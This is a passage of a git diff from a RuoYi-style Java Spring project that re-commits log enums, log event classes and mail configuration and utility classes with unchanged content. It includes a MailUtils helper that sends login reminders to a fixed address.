FORCE, - - /** - * 生成代码 - */ - GENCODE, - - /** - * 清空数据 - */ - CLEAN, -} +package org.dromara.common.log.enums; + +/** + * 业务操作类型 + * + * @author ruoyi + */ +public enum BusinessType { + /** + * 其它 + */ + OTHER, + + /** + * 新增 + */ + INSERT, + + /** + * 修改 + */ + UPDATE, + + /** + * 删除 + */ + DELETE, + + /** + * 授权 + */ + GRANT, + + /** + * 导出 + */ + EXPORT, + + /** + * 导入 + */ + IMPORT, + + /** + * 强退 + */ + FORCE, + + /** + * 生成代码 + */ + GENCODE, + + /** + * 清空数据 + */ + CLEAN, +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/OperatorType.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/OperatorType.java index de9328b..05e3d37 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/OperatorType.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/OperatorType.java @@ -1,23 +1,23 @@ -package org.dromara.common.log.enums; - -/** - * 操作人类别 - * - * @author ruoyi - */ -public enum OperatorType { - /** - * 其它 - */ - OTHER, - - /** - * 后台用户 - */ - MANAGE, - - /** - * 手机端用户 - */ - MOBILE -} +package org.dromara.common.log.enums; + +/** + * 操作人类别 + * + * @author ruoyi + */ +public enum OperatorType { + /** + * 其它 + */ + OTHER, + + /** + * 后台用户 + */ + MANAGE, + + /** + * 手机端用户 + */ + MOBILE +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/LogininforEvent.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/LogininforEvent.java index ed4a4db..669bfa8 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/LogininforEvent.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/LogininforEvent.java @@ -1,51 +1,51 @@ -package org.dromara.common.log.event; - -import jakarta.servlet.http.HttpServletRequest; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 登录事件 - * - * @author Lion Li - */ - -@Data -public class LogininforEvent implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 用户账号 - */ - private String username; - - /** - * 登录状态 0成功 1失败 - */ - private String status; - - /** - * 提示消息 - */ - private String message; - - /** - * 请求体 - */ - private HttpServletRequest request; - - /** - * 其他参数 - */ - private Object[] args; - -} +package org.dromara.common.log.event; + +import jakarta.servlet.http.HttpServletRequest; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 登录事件 + * + * @author Lion Li + */ + +@Data +public class LogininforEvent implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 用户账号 + */ + private String username; + + /** + * 登录状态 0成功 1失败 + */ + private String status; + + /** + * 提示消息 + */ + private String message; + + /** + * 请求体 + */ + private HttpServletRequest request; + + /** + * 其他参数 + */ + private Object[] args; + +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/OperLogEvent.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/OperLogEvent.java index 0386192..1fc50ad 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/OperLogEvent.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/event/OperLogEvent.java @@ -1,115 +1,115 @@ -package org.dromara.common.log.event; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 操作日志事件 - * - * @author Lion Li - */ - -@Data -public class OperLogEvent implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 日志主键 - */ - private Long operId; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 操作模块 - */ - private String title; - - /** - * 业务类型(0其它 1新增 2修改 3删除) - */ - private Integer businessType; - - /** - * 业务类型数组 - */ - private Integer[] businessTypes; - - /** - * 请求方法 - */ - private String method; - - /** - * 请求方式 - */ - private String requestMethod; - - /** - * 操作类别(0其它 1后台用户 2手机端用户) - */ - private Integer operatorType; - - /** - * 操作人员 - */ - private String operName; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 请求url - */ - private String operUrl; - - /** - * 操作地址 - */ - private String operIp; - - /** - * 操作地点 - */ - private String operLocation; - - /** - * 请求参数 - */ - private String operParam; - - /** - * 返回参数 - */ - private String jsonResult; - - /** - * 操作状态(0正常 1异常) - */ - private Integer status; - - /** - * 错误消息 - */ - private String errorMsg; - - /** - * 操作时间 - */ - private Date operTime; - - /** - * 消耗时间 - */ - private Long costTime; -} +package org.dromara.common.log.event; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 操作日志事件 + * + * @author Lion Li + */ + +@Data +public class OperLogEvent implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 日志主键 + */ + private Long operId; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 操作模块 + */ + private String title; + + /** + * 业务类型(0其它 1新增 2修改 3删除) + */ + private Integer businessType; + + /** + * 业务类型数组 + */ + private Integer[] businessTypes; + + /** + * 请求方法 + */ + private String method; + + /** + * 请求方式 + */ + private String requestMethod; + + /** + * 操作类别(0其它 1后台用户 2手机端用户) + */ + private Integer operatorType; + + /** + * 操作人员 + */ + private String operName; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 请求url + */ + private String operUrl; + + /** + * 操作地址 + */ + private String operIp; + + /** + * 操作地点 + */ + private String operLocation; + + /** + * 请求参数 + */ + private String operParam; + + /** + * 返回参数 + */ + private String jsonResult; + + /** + * 操作状态(0正常 1异常) + */ + private Integer status; + + /** + * 错误消息 + */ + private String errorMsg; + + /** + * 操作时间 + */ + private Date operTime; + + /** + * 消耗时间 + */ + private Long costTime; +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-log/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 6893020..d0f2bb8 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-log/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.log.aspect.LogAspect +org.dromara.common.log.aspect.LogAspect diff --git a/ruoyi-common/ruoyi-common-mail/pom.xml b/ruoyi-common/ruoyi-common-mail/pom.xml index 90f5df9..b73bd10 100644 --- a/ruoyi-common/ruoyi-common-mail/pom.xml +++ b/ruoyi-common/ruoyi-common-mail/pom.xml @@ -1,33 +1,33 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-mail - - - ruoyi-common-mail 邮件模块 - - - - - org.dromara - ruoyi-common-core - - - - jakarta.mail - jakarta.mail-api - - - org.eclipse.angus - jakarta.mail - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-mail + + + ruoyi-common-mail 邮件模块 + + + + + org.dromara + ruoyi-common-core + + + + jakarta.mail + jakarta.mail-api + + + org.eclipse.angus + jakarta.mail + + + diff --git a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/MailConfig.java b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/MailConfig.java index 0ea3007..6f848af 100644 --- a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/MailConfig.java +++ b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/MailConfig.java @@ -1,37 +1,37 @@ -package org.dromara.common.mail.config; - -import cn.hutool.extra.mail.MailAccount; -import org.dromara.common.mail.config.properties.MailProperties; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; - -/** - * JavaMail 配置 - * - * @author Michelle.Chung - */ -@AutoConfiguration -@EnableConfigurationProperties(MailProperties.class) -public class MailConfig { - - @Bean - @ConditionalOnProperty(value = "mail.enabled", havingValue = "true") - public MailAccount mailAccount(MailProperties mailProperties) { - MailAccount account = new MailAccount(); - account.setHost(mailProperties.getHost()); - account.setPort(mailProperties.getPort()); - account.setAuth(mailProperties.getAuth()); - account.setFrom(mailProperties.getFrom()); - account.setUser(mailProperties.getUser()); - account.setPass(mailProperties.getPass()); - account.setSocketFactoryPort(mailProperties.getPort()); - account.setStarttlsEnable(mailProperties.getStarttlsEnable()); - account.setSslEnable(mailProperties.getSslEnable()); - account.setTimeout(mailProperties.getTimeout()); - account.setConnectionTimeout(mailProperties.getConnectionTimeout()); - return account; - } - -} +package org.dromara.common.mail.config; + +import cn.hutool.extra.mail.MailAccount; +import org.dromara.common.mail.config.properties.MailProperties; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; + +/** + * JavaMail 配置 + * + * @author Michelle.Chung + */ +@AutoConfiguration +@EnableConfigurationProperties(MailProperties.class) +public class MailConfig { + + @Bean + @ConditionalOnProperty(value = "mail.enabled", havingValue = "true") + public MailAccount mailAccount(MailProperties mailProperties) { + MailAccount account = new MailAccount(); + account.setHost(mailProperties.getHost()); + account.setPort(mailProperties.getPort()); + account.setAuth(mailProperties.getAuth()); + account.setFrom(mailProperties.getFrom()); + account.setUser(mailProperties.getUser()); + account.setPass(mailProperties.getPass()); + account.setSocketFactoryPort(mailProperties.getPort()); + account.setStarttlsEnable(mailProperties.getStarttlsEnable()); + account.setSslEnable(mailProperties.getSslEnable()); + account.setTimeout(mailProperties.getTimeout()); + account.setConnectionTimeout(mailProperties.getConnectionTimeout()); + return account; + } + +} diff --git a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/properties/MailProperties.java b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/properties/MailProperties.java index d0e78a2..ac33530 100644 --- a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/properties/MailProperties.java +++ b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/config/properties/MailProperties.java @@ -1,69 +1,69 @@ -package org.dromara.common.mail.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * JavaMail 配置属性 - * - * @author Michelle.Chung - */ -@Data -@ConfigurationProperties(prefix = "mail") -public class MailProperties { - - /** - * 过滤开关 - */ - private Boolean enabled; - - /** - * SMTP服务器域名 - */ - private String host; - - /** - * SMTP服务端口 - */ - private Integer port; - - /** - * 是否需要用户名密码验证 - */ - private Boolean auth; - - /** - * 用户名 - */ - private String user; - - /** - * 密码 - */ - private String pass; - - /** - * 发送方,遵循RFC-822标准 - */ - private String from; - - /** - * 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。它将纯文本连接升级为加密连接(TLS或SSL), 而不是使用一个单独的加密通信端口。 - */ - private Boolean starttlsEnable; - - /** - * 使用 SSL安全连接 - */ - private Boolean sslEnable; - - /** - * SMTP超时时长,单位毫秒,缺省值不超时 - */ - private Long timeout; - - /** - * Socket连接超时值,单位毫秒,缺省值不超时 - */ - private Long connectionTimeout; -} +package org.dromara.common.mail.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * JavaMail 配置属性 + * + * @author Michelle.Chung + */ +@Data +@ConfigurationProperties(prefix = "mail") +public class MailProperties { + + /** + * 过滤开关 + */ + private Boolean enabled; + + /** + * SMTP服务器域名 + */ + private String host; + + /** + * SMTP服务端口 + */ + private Integer port; + + /** + * 是否需要用户名密码验证 + */ + private Boolean auth; + + /** + * 用户名 + */ + private String user; + + /** + * 密码 + */ + private String pass; + + /** + * 发送方,遵循RFC-822标准 + */ + private String from; + + /** + * 使用 STARTTLS安全连接,STARTTLS是对纯文本通信协议的扩展。它将纯文本连接升级为加密连接(TLS或SSL), 而不是使用一个单独的加密通信端口。 + */ + private Boolean starttlsEnable; + + /** + * 使用 SSL安全连接 + */ + private Boolean sslEnable; + + /** + * SMTP超时时长,单位毫秒,缺省值不超时 + */ + private Long timeout; + + /** + * Socket连接超时值,单位毫秒,缺省值不超时 + */ + private Long connectionTimeout; +} diff --git a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/MailUtils.java b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/MailUtils.java index 3dcf742..42e214e 100644 --- a/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/MailUtils.java +++ b/ruoyi-common/ruoyi-common-mail/src/main/java/org/dromara/common/mail/utils/MailUtils.java @@ -1,473 +1,473 @@ -package org.dromara.common.mail.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.CharUtil; -import cn.hutool.core.util.StrUtil; -import cn.hutool.extra.mail.JakartaMail; -import cn.hutool.extra.mail.JakartaUserPassAuthenticator; -import cn.hutool.extra.mail.MailAccount; -import jakarta.mail.Authenticator; -import jakarta.mail.Session; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; - -import java.io.File; -import java.io.InputStream; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.Map.Entry; - -/** - * 邮件工具类 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class MailUtils { - - private static final MailAccount ACCOUNT = SpringUtils.getBean(MailAccount.class); - - /** - * 获取邮件发送实例 - */ - public static MailAccount getMailAccount() { - return ACCOUNT; - } - - /** - * 获取邮件发送实例 (自定义发送人以及授权码) - * - * @param user 发送人 - * @param pass 授权码 - */ - public static MailAccount getMailAccount(String from, String user, String pass) { - ACCOUNT.setFrom(StringUtils.blankToDefault(from, ACCOUNT.getFrom())); - ACCOUNT.setUser(StringUtils.blankToDefault(user, ACCOUNT.getUser())); - ACCOUNT.setPass(StringUtils.blankToDefault(pass, ACCOUNT.getPass())); - return ACCOUNT; - } - - /** - * 使用配置文件中设置的账户发送文本邮件,发送给单个或多个收件人
- * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人 - * @param subject 标题 - * @param content 正文 - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String sendText(String to, String subject, String content, File... files) { - return send(to, subject, content, false, files); - } - - public static String sendInfo(String content) { - return send("864228225@qq.com", "登录提醒", content, false); - } - - /** - * 使用配置文件中设置的账户发送HTML邮件,发送给单个或多个收件人
- * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人 - * @param subject 标题 - * @param content 正文 - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String sendHtml(String to, String subject, String content, File... files) { - return send(to, subject, content, true, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
- * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - */ - public static String send(String to, String subject, String content, boolean isHtml, File... files) { - return send(splitAddress(to), subject, content, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
- * 多个收件人、抄送人、密送人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param cc 抄送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param bcc 密送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - * @since 4.0.3 - */ - public static String send(String to, String cc, String bcc, String subject, String content, boolean isHtml, File... files) { - return send(splitAddress(to), splitAddress(cc), splitAddress(bcc), subject, content, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送文本邮件,发送给多人 - * - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param files 附件列表 - * @return message-id - */ - public static String sendText(Collection tos, String subject, String content, File... files) { - return send(tos, subject, content, false, files); - } - - /** - * 使用配置文件中设置的账户发送HTML邮件,发送给多人 - * - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String sendHtml(Collection tos, String subject, String content, File... files) { - return send(tos, subject, content, true, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送给多人 - * - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - */ - public static String send(Collection tos, String subject, String content, boolean isHtml, File... files) { - return send(tos, null, null, subject, content, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送给多人 - * - * @param tos 收件人列表 - * @param ccs 抄送人列表,可以为null或空 - * @param bccs 密送人列表,可以为null或空 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - * @since 4.0.3 - */ - public static String send(Collection tos, Collection ccs, Collection bccs, String subject, String content, boolean isHtml, File... files) { - return send(getMailAccount(), true, tos, ccs, bccs, subject, content, null, isHtml, files); - } - - // ------------------------------------------------------------------------------------------------------------------------------- Custom MailAccount - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件认证对象 - * @param to 收件人,多个收件人逗号或者分号隔开 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String send(MailAccount mailAccount, String to, String subject, String content, boolean isHtml, File... files) { - return send(mailAccount, splitAddress(to), subject, content, isHtml, files); - } - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件帐户信息 - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - */ - public static String send(MailAccount mailAccount, Collection tos, String subject, String content, boolean isHtml, File... files) { - return send(mailAccount, tos, null, null, subject, content, isHtml, files); - } - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件帐户信息 - * @param tos 收件人列表 - * @param ccs 抄送人列表,可以为null或空 - * @param bccs 密送人列表,可以为null或空 - * @param subject 标题 - * @param content 正文 - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 4.0.3 - */ - public static String send(MailAccount mailAccount, Collection tos, Collection ccs, Collection bccs, String subject, String content, boolean isHtml, File... files) { - return send(mailAccount, false, tos, ccs, bccs, subject, content, null, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送HTML邮件,发送给单个或多个收件人
- * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String sendHtml(String to, String subject, String content, Map imageMap, File... files) { - return send(to, subject, content, imageMap, true, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
- * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - */ - public static String send(String to, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(splitAddress(to), subject, content, imageMap, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
- * 多个收件人、抄送人、密送人可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * - * @param to 收件人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param cc 抄送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param bcc 密送人,可以使用逗号“,”分隔,也可以通过分号“;”分隔 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - * @since 4.0.3 - */ - public static String send(String to, String cc, String bcc, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(splitAddress(to), splitAddress(cc), splitAddress(bcc), subject, content, imageMap, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送HTML邮件,发送给多人 - * - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String sendHtml(Collection tos, String subject, String content, Map imageMap, File... files) { - return send(tos, subject, content, imageMap, true, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送给多人 - * - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - */ - public static String send(Collection tos, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(tos, null, null, subject, content, imageMap, isHtml, files); - } - - /** - * 使用配置文件中设置的账户发送邮件,发送给多人 - * - * @param tos 收件人列表 - * @param ccs 抄送人列表,可以为null或空 - * @param bccs 密送人列表,可以为null或空 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML - * @param files 附件列表 - * @return message-id - * @since 4.0.3 - */ - public static String send(Collection tos, Collection ccs, Collection bccs, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(getMailAccount(), true, tos, ccs, bccs, subject, content, imageMap, isHtml, files); - } - - // ------------------------------------------------------------------------------------------------------------------------------- Custom MailAccount - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件认证对象 - * @param to 收件人,多个收件人逗号或者分号隔开 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 3.2.0 - */ - public static String send(MailAccount mailAccount, String to, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(mailAccount, splitAddress(to), subject, content, imageMap, isHtml, files); - } - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件帐户信息 - * @param tos 收件人列表 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 4.6.3 - */ - public static String send(MailAccount mailAccount, Collection tos, String subject, String content, Map imageMap, boolean isHtml, File... files) { - return send(mailAccount, tos, null, null, subject, content, imageMap, isHtml, files); - } - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件帐户信息 - * @param tos 收件人列表 - * @param ccs 抄送人列表,可以为null或空 - * @param bccs 密送人列表,可以为null或空 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:$IMAGE_PLACEHOLDER - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 4.6.3 - */ - public static String send(MailAccount mailAccount, Collection tos, Collection ccs, Collection bccs, String subject, String content, Map imageMap, - boolean isHtml, File... files) { - return send(mailAccount, false, tos, ccs, bccs, subject, content, imageMap, isHtml, files); - } - - /** - * 根据配置文件,获取邮件客户端会话 - * - * @param mailAccount 邮件账户配置 - * @param isSingleton 是否单例(全局共享会话) - * @return {@link Session} - * @since 5.5.7 - */ - public static Session getSession(MailAccount mailAccount, boolean isSingleton) { - Authenticator authenticator = null; - if (mailAccount.isAuth()) { - authenticator = new JakartaUserPassAuthenticator(mailAccount.getUser(), mailAccount.getPass()); - } - - return isSingleton ? Session.getDefaultInstance(mailAccount.getSmtpProps(), authenticator) - : Session.getInstance(mailAccount.getSmtpProps(), authenticator); - } - - // ------------------------------------------------------------------------------------------------------------------------ Private method start - - /** - * 发送邮件给多人 - * - * @param mailAccount 邮件帐户信息 - * @param useGlobalSession 是否全局共享Session - * @param tos 收件人列表 - * @param ccs 抄送人列表,可以为null或空 - * @param bccs 密送人列表,可以为null或空 - * @param subject 标题 - * @param content 正文 - * @param imageMap 图片与占位符,占位符格式为cid:${cid} - * @param isHtml 是否为HTML格式 - * @param files 附件列表 - * @return message-id - * @since 4.6.3 - */ - private static String send(MailAccount mailAccount, boolean useGlobalSession, Collection tos, Collection ccs, Collection bccs, String subject, String content, - Map imageMap, boolean isHtml, File... files) { - final JakartaMail mail = JakartaMail.create(mailAccount).setUseGlobalSession(useGlobalSession); - - // 可选抄送人 - if (CollUtil.isNotEmpty(ccs)) { - mail.setCcs(ccs.toArray(new String[0])); - } - // 可选密送人 - if (CollUtil.isNotEmpty(bccs)) { - mail.setBccs(bccs.toArray(new String[0])); - } - - mail.setTos(tos.toArray(new String[0])); - mail.setTitle(subject); - mail.setContent(content); - mail.setHtml(isHtml); - mail.setFiles(files); - - // 图片 - if (MapUtil.isNotEmpty(imageMap)) { - for (Entry entry : imageMap.entrySet()) { - mail.addImage(entry.getKey(), entry.getValue()); - // 关闭流 - IoUtil.close(entry.getValue()); - } - } - - return mail.send(); - } - - /** - * 将多个联系人转为列表,分隔符为逗号或者分号 - * - * @param addresses 多个联系人,如果为空返回null - * @return 联系人列表 - */ - private static List splitAddress(String addresses) { - if (StrUtil.isBlank(addresses)) { - return null; - } - - List result; - if (StrUtil.contains(addresses, CharUtil.COMMA)) { - result = StrUtil.splitTrim(addresses, CharUtil.COMMA); - } else if (StrUtil.contains(addresses, ';')) { - result = StrUtil.splitTrim(addresses, ';'); - } else { - result = CollUtil.newArrayList(addresses); - } - return result; - } - // ------------------------------------------------------------------------------------------------------------------------ Private method end -} +package org.dromara.common.mail.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.CharUtil; +import cn.hutool.core.util.StrUtil; +import cn.hutool.extra.mail.JakartaMail; +import cn.hutool.extra.mail.JakartaUserPassAuthenticator; +import cn.hutool.extra.mail.MailAccount; +import jakarta.mail.Authenticator; +import jakarta.mail.Session; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; + +import java.io.File; +import java.io.InputStream; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +/** + * 邮件工具类 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class MailUtils { + + private static final MailAccount ACCOUNT = SpringUtils.getBean(MailAccount.class); + + /** + * 获取邮件发送实例 + */ + public static MailAccount getMailAccount() { + return ACCOUNT; + } + + /** + * 获取邮件发送实例 (自定义发送人以及授权码) + * + * @param user 发送人 + * @param pass 授权码 + */ + public static MailAccount getMailAccount(String from, String user, String pass) { + ACCOUNT.setFrom(StringUtils.blankToDefault(from, ACCOUNT.getFrom())); + ACCOUNT.setUser(StringUtils.blankToDefault(user, ACCOUNT.getUser())); + ACCOUNT.setPass(StringUtils.blankToDefault(pass, ACCOUNT.getPass())); + return ACCOUNT; + } + + /** + * 使用配置文件中设置的账户发送文本邮件,发送给单个或多个收件人
+ * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人 + * @param subject 标题 + * @param content 正文 + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String sendText(String to, String subject, String content, File... files) { + return send(to, subject, content, false, files); + } + + public static String sendInfo(String content) { + return send("864228225@qq.com", "登录提醒", content, false); + } + + /** + * 使用配置文件中设置的账户发送HTML邮件,发送给单个或多个收件人
+ * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人 + * @param subject 标题 + * @param content 正文 + * @param files 附件列表 + * @return message-id + * @since 3.2.0 + */ + public static String sendHtml(String to, String subject, String content, File... files) { + return send(to, subject, content, true, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
+ * 多个收件人可以使用逗号“,”分隔,也可以通过分号“;”分隔 + * + * @param to 收件人 + * @param subject 标题 + * @param content 正文 + * @param isHtml 是否为HTML + * @param files 附件列表 + * @return message-id + */ + public static String send(String to, String subject, String content, boolean isHtml, File... files) { + return send(splitAddress(to), subject, content, isHtml, files); + } + + /** + * 使用配置文件中设置的账户发送邮件,发送单个或多个收件人
